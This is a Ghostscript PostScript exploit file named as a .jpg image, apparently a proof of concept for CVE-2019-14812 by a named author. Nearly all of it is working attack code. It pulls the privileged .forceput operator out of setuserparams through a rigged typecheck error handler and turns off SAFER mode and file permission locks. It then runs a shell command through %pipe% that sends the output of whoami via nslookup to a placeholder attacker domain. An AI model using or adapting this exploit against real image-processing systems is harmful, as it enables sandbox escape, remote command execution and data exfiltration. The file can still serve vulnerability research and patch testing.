cve-2019-14812-nslookup-dnsbased.jpg

%!PS

%%
%% Safer Mode Bypass by `.forceput` Exposure from `setuserparams`
%%
%% Author: Hiroki MATSUKUMA
%%

/println  { (\n) exch print print } bind executeonly def
/info     { ([*] ) print println } bind executeonly def
/success  { ([+] ) print println } bind executeonly def
/fail     { ([-] ) print println stop } bind executeonly def

/MaxFileSize 16#10000 def
/readfile {
  (r) file
  dup MaxFileSize string readstring pop
  exch closefile
} bind executeonly def

/osexec {
  (%pipe%) exch concatstrings readfile
} bind executeonly def

(=============================================================================)
(=       Safer Mode Bypass by `.forceput` Exposure from `setuserparams`      =)
(=============================================================================)
println println println

(Obtaining .forceput operator from setuserparams operator...) info
/.forceput null def
/&typecheck errordict /typecheck get def
/typecheckcount 0 def
errordict /typecheck {
  /typecheckcount typecheckcount 1 add def
  typecheckcount 3 eq {
    1 index 5 get 31 get
    /.forceput exch store
  } if
} put
null setuserparams clear
errordict /typecheck currentdict /&typecheck get put
[
  /&typecheck
  /typecheckcount
] { currentdict exch undef } forall
(A candidate for .forceput operator found!) success

(Attempting sanity check with the candidate for .forceput operator...) info
<< /overwritten false >> readonly
begin
  currentdict /overwritten true .forceput
  overwritten not {
    /.forceput where { /.forceput undef } if
  } if
end
currentdict /.forceput known not {
  (.forceput operator could not found...) fail
} if
(Successfully got .forceput operator!) success

(Overwriting several flags to escape from Safer Mode...) info
systemdict /SAFER false .forceput
userparams /LockFilePermissions false .forceput
userparams /PermitFileControl [(*)] .forceput
userparams /PermitFileWriting [(*)] .forceput
userparams /PermitFileReading [(*)] .forceput
save restore

SAFER {
  (Could not escape from Safer Mode.) fail
} bind executeonly if
(Successfully escaped from Safer Mode!) success

% run command
(%pipe%nslookup $(whoami).linux.ghostscript-cve-2019-14812.TARGET_DOMAIN > /tmp/success) (w) file closefile

quit